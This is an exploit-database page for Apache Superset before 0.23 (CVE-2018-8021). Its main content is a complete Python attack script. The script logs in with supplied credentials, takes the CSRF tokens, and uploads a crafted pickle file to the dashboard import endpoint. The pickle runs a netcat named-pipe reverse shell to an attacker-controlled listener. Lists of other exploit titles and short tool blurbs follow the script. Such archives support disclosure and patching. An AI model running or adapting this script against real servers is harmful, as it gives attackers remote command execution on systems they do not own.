Menu

Search for hundreds of thousands of exploits

"Apache Superset < 0.23 - Remote Code Execution"

Author

Exploit author

"David May"

Platform

Exploit platform

linux

Release date

Exploit published date

2018-12-03

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution
# Date: 2018-05-17
# Exploit Author: David May (david.may@semanticbits.com)
# Vendor Homepage: https://superset.apache.org/
# Software Link: https://github.com/apache/incubator-superset
# Version: Any before 0.23
# Tested on: Ubuntu 18.04
# CVE-ID: CVE-2018-8021

# I originally disclosed this to the Apache Superset team back in May, and the fix had already been 
# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.

#!/usr/bin/env python

import sys
import os
from lxml import html
import requests

# Change these values to your TCP listener
myIP = '192.168.137.129'
myPort = '8888'
# Credentials must belong to user with 'can Import Dashboards on Superset' privilege
username = 'test'
password = 'test'

# Logic in case script arguments are not given
if len(sys.argv) < 3:
	print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
	print('Script Usage:')
	print('./supersetrce.py <superset server ip> <superset port>')
	sys.exit()
	
else:
	# Script arguments
	supersetIP = sys.argv[1]
	supersetPort = sys.argv[2]
	# Verify these URLs match your environment
	login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'
	upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'
	
	# Checks to see if file that we are going to write already exists in case this is run more than once
	if os.path.isfile('evil.pickle'):
		os.remove('evil.pickle')
		
	# Headers that we append to our POST requests
	headers_dict = {
		'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
		'DNT': '1',
		'Connection': 'close',
		'Upgrade-Insecure-Requests': '1',
	}
	
	# Creates evil pickle file and writes the reverse shell to it
	evilPickle = open('evil.pickle','w+')
	evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')
	evilPickle.close()
	
	# Start a session so we have persistent cookies
	session = requests.session()	
	
	# Grabs the Login page to parse it for its CSRF token
	login_page = session.get(login_URL)
	if login_page.status_code != 200:
		print('Login page not reached, verify URLs in script')
	login_tree = html.fromstring(login_page.content)
	csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')
	
	# Form data that is sent in the POST request to Login page
	login_data = {
		'csrf_token' : csrf_token,
		'username' : username,
		'password' : password,
	}
	
	# Adds the Referer header for the login page
	headers_dict['Referer'] = login_URL
	
	# Logon action
	login = session.post(login_URL, headers=headers_dict, data=login_data)	
	
	# Grabs the Upload page to parse it for its CSRF token
	upload_page = session.get(upload_URL)
	if upload_page.status_code != 200:
		print('Upload page not reached, verify credentials and URLs in script')
	upload_tree = html.fromstring(upload_page.content)
	csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')
	
	# Adds the Referer header for the Upload page
	headers_dict['Referer'] = upload_URL
	
	# Upload action
	upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})
	
	# Closes the session
	session.close()
	sys.exit()
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2018-12-03 "Apache Superset < 0.23 - Remote Code Execution" webapps linux "David May"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.